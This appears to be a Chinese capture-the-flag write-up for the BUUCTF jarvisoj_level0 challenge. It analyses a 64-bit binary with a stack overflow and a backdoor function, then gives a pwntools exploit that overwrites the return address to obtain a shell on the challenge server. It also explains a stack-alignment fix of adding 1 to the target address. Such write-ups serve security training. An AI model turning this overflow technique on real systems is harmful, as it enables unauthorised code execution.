BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
C2H5OH9 小时前
PortSwigger SQL注入LAB11
网络安全
学习3人组9 小时前
Cisco ASA防火墙 NAT实验:源NAT+目的NAT(Trust/Untrust双区域,无DMZ)
网络·网络安全
菩提小狗14 小时前
每日安全情报报告 · 2026-06-03
网络安全·漏洞·cve·安全情报·每日安全
quan_泉15 小时前
好靶场_初学者训练营_OWASP_TOP10
网络安全
MageGojo16 小时前
IP归属地查询API实战指南:快速获取IP地址定位、运营商与风险信息
网络安全·openapi·ip定位·ip查询api·ip归属地接口
郑洁文19 小时前
基于CNN的异常流量监测系统的设计与实现
人工智能·神经网络·网络安全·cnn
txg66621 小时前
WildSync:通过Wild API 使用恢复实现自动化 Fuzzing Harness 合成
运维·深度学习·网络安全·自动化
郑洁文1 天前
基于Python的Web命令执行漏洞自动化检测系统
前端·python·网络安全·自动化
世界尽头与你2 天前
JavaMelody 未授权访问漏洞
网络安全·信息安全·渗透测试·dast
vortex52 天前
Unix 通配符注入攻击:从参数污染到命令执行
网络安全·渗透测试·unix